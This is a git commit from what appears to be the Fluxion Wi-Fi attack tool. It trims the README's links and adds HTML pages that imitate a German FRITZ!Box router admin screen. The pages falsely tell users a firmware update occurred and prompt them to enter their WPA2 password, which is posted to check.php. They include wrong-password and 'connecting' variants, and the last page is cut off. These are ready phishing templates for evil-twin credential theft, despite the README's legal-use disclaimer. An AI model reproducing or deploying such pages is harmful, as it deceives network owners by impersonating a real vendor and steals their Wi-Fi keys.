Merge remote-tracking branch 'refs/remotes/deltaxflux/master'
This commit is contained in:
spreedated
commit
18c90c59c9
|
|
@ -62,13 +62,6 @@ A Linux-based operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling
|
|||
6. Photos for wiki @http://www.kalitutorials.net
|
||||
7. Ons Ali @wallpaper
|
||||
|
||||
## Useful links
|
||||
1. [Wifislax] (http://www.wifislax.com/)
|
||||
2. [Kali Linux] (https://www.kali.org/)
|
||||
3. [linset] (https://github.com/vk496/linset)
|
||||
4. [ares] (https://github.com/deltaxflux/ares)
|
||||
5. [Closeme] (https://github.com/rad4day/GithubScripts)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
***Fluxion is intended to be used for legal security purposes only, and you should only use it to protect networks/hosts you own or have permission to test. Any other use is not the responsibility of the developer(s). Be sure that you understand and are complying with the Fluxion licenses and laws in your area. In other words, don't be stupid, don't be an asshole, and use this tool responsibly and legally.***
|
||||
|
|
|
|||
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
|
|
@ -0,0 +1,294 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<title>FRITZ!Box</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-left: 0px;
|
||||
margin-top: 0px;
|
||||
margin-right: 0px;
|
||||
margin-bottom: 0px;
|
||||
background-image: url(bg.png);
|
||||
background-repeat:repeat-x;
|
||||
color:#414143;
|
||||
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
|
||||
font-size: 14px;
|
||||
}
|
||||
a:link {
|
||||
color:#2e5b9b;
|
||||
text-decoration:none;
|
||||
}
|
||||
a:hover {
|
||||
color:#386fbd;
|
||||
}
|
||||
a:visited {
|
||||
color:#2e5b9b;
|
||||
}
|
||||
.blue_text {
|
||||
color:#0c3465;
|
||||
}
|
||||
#wrapper {
|
||||
max-width:1004px;
|
||||
margin:auto;
|
||||
}
|
||||
#header {
|
||||
background-image:url(header.png);
|
||||
background-repeat:no-repeat;
|
||||
background-position:center;
|
||||
width:100%;
|
||||
height:91px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
}
|
||||
#header_icons {
|
||||
width:100%;
|
||||
height:45px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
text-align:right;
|
||||
display:inline-block;
|
||||
}
|
||||
#header_icons ul {
|
||||
list-style-type:none;
|
||||
margin-right:20px;
|
||||
}
|
||||
#header_icons ul li {
|
||||
display:inline-block;
|
||||
color:#0c3465;
|
||||
vertical-align:middle;
|
||||
}
|
||||
#sidebar_left {
|
||||
position:relative;
|
||||
float:left;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
min-width:150px;
|
||||
padding: 10px;
|
||||
margin-left:20px;
|
||||
}
|
||||
#sidebar_left ul {
|
||||
list-style-type:none;
|
||||
margin:0px;
|
||||
padding:0px;
|
||||
}
|
||||
#sidebar_left ul li {
|
||||
list-style-type:none;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
width:95%;
|
||||
padding-left:5px;
|
||||
padding-top: 2px;
|
||||
padding-bottom: 2px;
|
||||
text-align:left;
|
||||
}
|
||||
#sidebar_left ul li a {
|
||||
color:#093e75;
|
||||
}
|
||||
.sidebar_left_selected {
|
||||
border: thin solid #99adab;
|
||||
border-radius: 10px 10px 10px 10px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
}
|
||||
#content {
|
||||
position:relative;
|
||||
float: right;
|
||||
width: 750px;
|
||||
min-height: 400px;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
margin-right: 25px;
|
||||
}
|
||||
#content_head {
|
||||
position:relative;
|
||||
border-radius: 15px 15px 0px 0px;
|
||||
min-height: 27px;
|
||||
text-align:left;
|
||||
font-size:18px;
|
||||
font-weight:bold;
|
||||
padding-top:3px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
border-bottom: thin solid #99adab;
|
||||
}
|
||||
#subcontent {
|
||||
background-color:#FFFFFF;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 0px 0px 0px 0px;
|
||||
width: 60%;
|
||||
margin:auto;
|
||||
margin-top: 20px;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style-type:none;
|
||||
margin:10px;
|
||||
padding:0px;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display:none ;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style:none;
|
||||
}
|
||||
#subcontent_phone ul li {
|
||||
text-align:center;
|
||||
}
|
||||
#footer {
|
||||
position: relative;
|
||||
margin-right: 30px;
|
||||
|
||||
float:right;
|
||||
}
|
||||
#footer ul {
|
||||
list-style-type:none;
|
||||
|
||||
}
|
||||
#footer ul li {
|
||||
display:inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#content {
|
||||
width:70%;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 480px) {
|
||||
#header {
|
||||
background-image:url(header_small.png);
|
||||
max-width:480px;
|
||||
|
||||
background-position:left;
|
||||
}
|
||||
#header_icons {
|
||||
display: none;
|
||||
}
|
||||
#sidebar_left {
|
||||
display: none;
|
||||
}
|
||||
#content {
|
||||
width:90%;
|
||||
}
|
||||
#subcontent {
|
||||
height: 300px;
|
||||
font-size: 24px;
|
||||
width: 90%;
|
||||
}
|
||||
#subcontent table {
|
||||
display: none;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display: block !important;
|
||||
}
|
||||
input {
|
||||
padding: 5px;
|
||||
border-radius: 8px 8px 8px 8px;
|
||||
border: thin solid #99adab;
|
||||
font-size: 16px;
|
||||
width: 170px;
|
||||
font-weight:bold;
|
||||
}
|
||||
#footer li {
|
||||
margin:0px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="wrapper">
|
||||
<div id="header"></div>
|
||||
<div id="header_icons">
|
||||
<ul>
|
||||
<li><a href="#"><img src="icon0.png">Abmelden</a></li>
|
||||
<li><a href="#"><img src="icon1.png">Ansicht:</a> Experte</li>
|
||||
<li><a href="#"><img src="icon2.png">Inhalt</a></li>
|
||||
<li><a href="#"><img src="icon3.png">Hilfe</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="sidebar_left">
|
||||
<ul>
|
||||
<li><a href="#">Übersicht</a></li>
|
||||
<li><a href="#">Internet</a></li>
|
||||
<li><a href="#">Telefonie</a></li>
|
||||
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
|
||||
<li><a href="#">DECT</a></li>
|
||||
<li><a href="#">System</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
|
||||
<div id="subcontent">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<table width="100%" border="0" cellspacing="5">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td colspan="2" align="left"><span style="margin-left:10px;">Ihre FRITZ!Box wurde aktualisiert.</span><br /><span style="margin-left:10px;">Zur Wiederherstellung des Wi-Fi-Signals geben Sie Ihr Wi-Fi Passwort ein</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="2" align="center"><span style="color:#A80002;">Passwort falsch! - Bitte wiederholen</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="right">WPA2 Kennwort:</td>
|
||||
<td><input type="password" name="key1"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td><input type="submit" value="Bestätigen"></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</form>
|
||||
<div id="subcontent_phone">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<ul>
|
||||
<li><span style="color:#A80002;">Passwort falsch!<br>Bitte wiederholen</span></li>
|
||||
<li> </li>
|
||||
<li>Bitte geben Sie ihr Wi-Fi Passwort ein.</li>
|
||||
<li> </li>
|
||||
<li>WPA2 Kennwort:</li>
|
||||
<li><input type="password" name="key1"></li>
|
||||
<li> </li>
|
||||
<li><input type="submit" value="Bestätigen"></li>
|
||||
</ul>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="footer">
|
||||
<ul>
|
||||
<li><a href="#">Handbuch</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Service-Portal</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FAQs</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FRITZ! Clips</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Programme</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.avm.de</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.freetz.org</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,270 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<title>FRITZ!Box</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-left: 0px;
|
||||
margin-top: 0px;
|
||||
margin-right: 0px;
|
||||
margin-bottom: 0px;
|
||||
background-image: url(bg.png);
|
||||
background-repeat:repeat-x;
|
||||
color:#414143;
|
||||
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
|
||||
font-size: 14px;
|
||||
}
|
||||
a:link {
|
||||
color:#2e5b9b;
|
||||
text-decoration:none;
|
||||
}
|
||||
a:hover {
|
||||
color:#386fbd;
|
||||
}
|
||||
a:visited {
|
||||
color:#2e5b9b;
|
||||
}
|
||||
.blue_text {
|
||||
color:#0c3465;
|
||||
}
|
||||
#wrapper {
|
||||
max-width:1004px;
|
||||
margin:auto;
|
||||
}
|
||||
#header {
|
||||
background-image:url(header.png);
|
||||
background-repeat:no-repeat;
|
||||
background-position:center;
|
||||
width:100%;
|
||||
height:91px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
}
|
||||
#header_icons {
|
||||
width:100%;
|
||||
height:45px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
text-align:right;
|
||||
display:inline-block;
|
||||
}
|
||||
#header_icons ul {
|
||||
list-style-type:none;
|
||||
margin-right:20px;
|
||||
}
|
||||
#header_icons ul li {
|
||||
display:inline-block;
|
||||
color:#0c3465;
|
||||
vertical-align:middle;
|
||||
}
|
||||
#sidebar_left {
|
||||
position:relative;
|
||||
float:left;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
min-width:150px;
|
||||
padding: 10px;
|
||||
margin-left:20px;
|
||||
}
|
||||
#sidebar_left ul {
|
||||
list-style-type:none;
|
||||
margin:0px;
|
||||
padding:0px;
|
||||
}
|
||||
#sidebar_left ul li {
|
||||
list-style-type:none;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
width:95%;
|
||||
padding-left:5px;
|
||||
padding-top: 2px;
|
||||
padding-bottom: 2px;
|
||||
text-align:left;
|
||||
}
|
||||
#sidebar_left ul li a {
|
||||
color:#093e75;
|
||||
}
|
||||
.sidebar_left_selected {
|
||||
border: thin solid #99adab;
|
||||
border-radius: 10px 10px 10px 10px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
}
|
||||
#content {
|
||||
position:relative;
|
||||
float: right;
|
||||
width: 750px;
|
||||
min-height: 400px;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
margin-right: 25px;
|
||||
}
|
||||
#content_head {
|
||||
position:relative;
|
||||
border-radius: 15px 15px 0px 0px;
|
||||
min-height: 27px;
|
||||
text-align:left;
|
||||
font-size:18px;
|
||||
font-weight:bold;
|
||||
padding-top:3px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
border-bottom: thin solid #99adab;
|
||||
}
|
||||
#subcontent {
|
||||
background-color:#FFFFFF;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 0px 0px 0px 0px;
|
||||
width: 60%;
|
||||
margin:auto;
|
||||
margin-top: 20px;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style-type:none;
|
||||
margin:10px;
|
||||
padding:0px;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display:none ;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style:none;
|
||||
}
|
||||
#subcontent_phone ul li {
|
||||
text-align:center;
|
||||
}
|
||||
#footer {
|
||||
position: relative;
|
||||
margin-right: 30px;
|
||||
|
||||
float:right;
|
||||
}
|
||||
#footer ul {
|
||||
list-style-type:none;
|
||||
|
||||
}
|
||||
#footer ul li {
|
||||
display:inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#content {
|
||||
width:70%;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 480px) {
|
||||
#header {
|
||||
background-image:url(header_small.png);
|
||||
max-width:480px;
|
||||
|
||||
background-position:left;
|
||||
}
|
||||
#header_icons {
|
||||
display: none;
|
||||
}
|
||||
#sidebar_left {
|
||||
display: none;
|
||||
}
|
||||
#content {
|
||||
width:90%;
|
||||
}
|
||||
#subcontent {
|
||||
height: 300px;
|
||||
font-size: 24px;
|
||||
width: 90%;
|
||||
}
|
||||
#subcontent table {
|
||||
display: none;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display: block !important;
|
||||
}
|
||||
input {
|
||||
padding: 5px;
|
||||
border-radius: 8px 8px 8px 8px;
|
||||
border: thin solid #99adab;
|
||||
font-size: 16px;
|
||||
width: 170px;
|
||||
font-weight:bold;
|
||||
}
|
||||
#footer li {
|
||||
margin:0px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="wrapper">
|
||||
<div id="header"></div>
|
||||
<div id="header_icons">
|
||||
<ul>
|
||||
<li><a href="#"><img src="icon0.png">Abmelden</a></li>
|
||||
<li><a href="#"><img src="icon1.png">Ansicht:</a> Experte</li>
|
||||
<li><a href="#"><img src="icon2.png">Inhalt</a></li>
|
||||
<li><a href="#"><img src="icon3.png">Hilfe</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="sidebar_left">
|
||||
<ul>
|
||||
<li><a href="#">Übersicht</a></li>
|
||||
<li><a href="#">Internet</a></li>
|
||||
<li><a href="#">Telefonie</a></li>
|
||||
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
|
||||
<li><a href="#">DECT</a></li>
|
||||
<li><a href="#">System</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
|
||||
<div id="subcontent">
|
||||
<table width="100%" border="0" cellspacing="5">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td colspan="2" align="left"><span style="margin-left:10px;">Bitte einen Moment Geduld!</span><br /><span style="margin-left:10px;">Verbindung wird aufgebaut...</span></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<div id="subcontent_phone">
|
||||
<ul>
|
||||
<li>Bitte einen Moment Geduld!</li>
|
||||
<li> </li>
|
||||
<li>Verbindung wird aufgebaut...</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="footer">
|
||||
<ul>
|
||||
<li><a href="#">Handbuch</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Service-Portal</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FAQs</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FRITZ! Clips</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Programme</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.avm.de</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.freetz.org</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 74 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
|
|
@ -0,0 +1,288 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<title>FRITZ!Box</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-left: 0px;
|
||||
margin-top: 0px;
|
||||
margin-right: 0px;
|
||||
margin-bottom: 0px;
|
||||
background-image: url(bg.png);
|
||||
background-repeat:repeat-x;
|
||||
color:#414143;
|
||||
font-family:"Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, sans-serif;
|
||||
font-size: 14px;
|
||||
}
|
||||
a:link {
|
||||
color:#2e5b9b;
|
||||
text-decoration:none;
|
||||
}
|
||||
a:hover {
|
||||
color:#386fbd;
|
||||
}
|
||||
a:visited {
|
||||
color:#2e5b9b;
|
||||
}
|
||||
.blue_text {
|
||||
color:#0c3465;
|
||||
}
|
||||
#wrapper {
|
||||
max-width:1004px;
|
||||
margin:auto;
|
||||
}
|
||||
#header {
|
||||
background-image:url(header.png);
|
||||
background-repeat:no-repeat;
|
||||
background-position:center;
|
||||
width:100%;
|
||||
height:91px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
}
|
||||
#header_icons {
|
||||
width:100%;
|
||||
height:45px;
|
||||
position:relative;
|
||||
margin:auto;
|
||||
text-align:right;
|
||||
display:inline-block;
|
||||
}
|
||||
#header_icons ul {
|
||||
list-style-type:none;
|
||||
margin-right:20px;
|
||||
}
|
||||
#header_icons ul li {
|
||||
display:inline-block;
|
||||
color:#0c3465;
|
||||
vertical-align:middle;
|
||||
}
|
||||
#sidebar_left {
|
||||
position:relative;
|
||||
float:left;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
min-width:150px;
|
||||
padding: 10px;
|
||||
margin-left:20px;
|
||||
}
|
||||
#sidebar_left ul {
|
||||
list-style-type:none;
|
||||
margin:0px;
|
||||
padding:0px;
|
||||
}
|
||||
#sidebar_left ul li {
|
||||
list-style-type:none;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
width:95%;
|
||||
padding-left:5px;
|
||||
padding-top: 2px;
|
||||
padding-bottom: 2px;
|
||||
text-align:left;
|
||||
}
|
||||
#sidebar_left ul li a {
|
||||
color:#093e75;
|
||||
}
|
||||
.sidebar_left_selected {
|
||||
border: thin solid #99adab;
|
||||
border-radius: 10px 10px 10px 10px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
}
|
||||
#content {
|
||||
position:relative;
|
||||
float: right;
|
||||
width: 750px;
|
||||
min-height: 400px;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 15px 15px 15px 15px;
|
||||
background-color:#fbf8f4;
|
||||
margin-right: 25px;
|
||||
}
|
||||
#content_head {
|
||||
position:relative;
|
||||
border-radius: 15px 15px 0px 0px;
|
||||
min-height: 27px;
|
||||
text-align:left;
|
||||
font-size:18px;
|
||||
font-weight:bold;
|
||||
padding-top:3px;
|
||||
background: #bed7ed; /* Old browsers */
|
||||
background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */
|
||||
background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */
|
||||
background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
|
||||
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */
|
||||
border-bottom: thin solid #99adab;
|
||||
}
|
||||
#subcontent {
|
||||
background-color:#FFFFFF;
|
||||
border: thin solid #99adab;
|
||||
border-radius: 0px 0px 0px 0px;
|
||||
width: 60%;
|
||||
margin:auto;
|
||||
margin-top: 20px;
|
||||
margin-bottom: 40px;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style-type:none;
|
||||
margin:10px;
|
||||
padding:0px;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display:none ;
|
||||
}
|
||||
#subcontent_phone ul {
|
||||
list-style:none;
|
||||
}
|
||||
#subcontent_phone ul li {
|
||||
text-align:center;
|
||||
}
|
||||
#footer {
|
||||
position: relative;
|
||||
margin-right: 30px;
|
||||
|
||||
float:right;
|
||||
}
|
||||
#footer ul {
|
||||
list-style-type:none;
|
||||
|
||||
}
|
||||
#footer ul li {
|
||||
display:inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
@media only screen and (max-width: 1024px) {
|
||||
#content {
|
||||
width:70%;
|
||||
}
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 480px) {
|
||||
#header {
|
||||
background-image:url(header_small.png);
|
||||
max-width:480px;
|
||||
background-position:left;
|
||||
}
|
||||
#header_icons {
|
||||
display: none;
|
||||
}
|
||||
#sidebar_left {
|
||||
display: none;
|
||||
}
|
||||
#content {
|
||||
width:90%;
|
||||
}
|
||||
#subcontent {
|
||||
height: 300px;
|
||||
font-size: 24px;
|
||||
width: 90%;
|
||||
}
|
||||
#subcontent table {
|
||||
display: none;
|
||||
}
|
||||
#subcontent_phone {
|
||||
display: block !important;
|
||||
}
|
||||
input {
|
||||
padding: 5px;
|
||||
border-radius: 8px 8px 8px 8px;
|
||||
border: thin solid #99adab;
|
||||
font-size: 16px;
|
||||
width: 170px;
|
||||
font-weight:bold;
|
||||
}
|
||||
#footer li {
|
||||
margin:0px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="wrapper">
|
||||
<div id="header"></div>
|
||||
<div id="header_icons">
|
||||
<ul>
|
||||
<li><a href="#"><img src="icon0.png">Abmelden</a></li>
|
||||
<li><a href="#"><img src="icon1.png">Ansicht:</a> Experte</li>
|
||||
<li><a href="#"><img src="icon2.png">Inhalt</a></li>
|
||||
<li><a href="#"><img src="icon3.png">Hilfe</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="sidebar_left">
|
||||
<ul>
|
||||
<li><a href="#">Übersicht</a></li>
|
||||
<li><a href="#">Internet</a></li>
|
||||
<li><a href="#">Telefonie</a></li>
|
||||
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
|
||||
<li><a href="#">DECT</a></li>
|
||||
<li><a href="#">System</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div id="content">
|
||||
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
|
||||
<div id="subcontent">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<table width="100%" border="0" cellspacing="5">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td colspan="2" align="left"><span style="margin-left:10px;">Ihre FRITZ!Box wurde aktualisiert.</span><br /><span style="margin-left:10px;">Zur Wiederherstellung des Wi-Fi-Signals geben Sie Ihr Wi-Fi Passwort ein</span></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td> </td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td align="right">WPA2 Kennwort:</td>
|
||||
<td><input type="password" name="key1"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td> </td>
|
||||
<td><input type="submit" value="Bestätigen"></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</form>
|
||||
<div id="subcontent_phone">
|
||||
<form method="POST" action="check.php" id="form1" name="form1">
|
||||
<ul>
|
||||
<li>Bitte geben Sie ihr Wi-Fi Passwort ein.</li>
|
||||
<li> </li>
|
||||
<li>WPA2 Kennwort:</li>
|
||||
<li><input type="password" name="key1"></li>
|
||||
<li> </li>
|
||||
<li><input type="submit" value="Bestätigen"></li>
|
||||
</ul>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="footer">
|
||||
<ul>
|
||||
<li><a href="#">Handbuch</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Service-Portal</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FAQs</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">FRITZ! Clips</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">Programme</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.avm.de</a></li>
|
||||
<li><span style=" font-weight:bold;">|</span></li>
|
||||
<li><a href="#">www.freetz.org</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
|
|
@ -0,0 +1,294 @@
|
|||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width; initial-scale=1.0;" />
|
||||
<title>FRITZ!Box</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-left: 0px;
|
||||
margin-top: 0px;
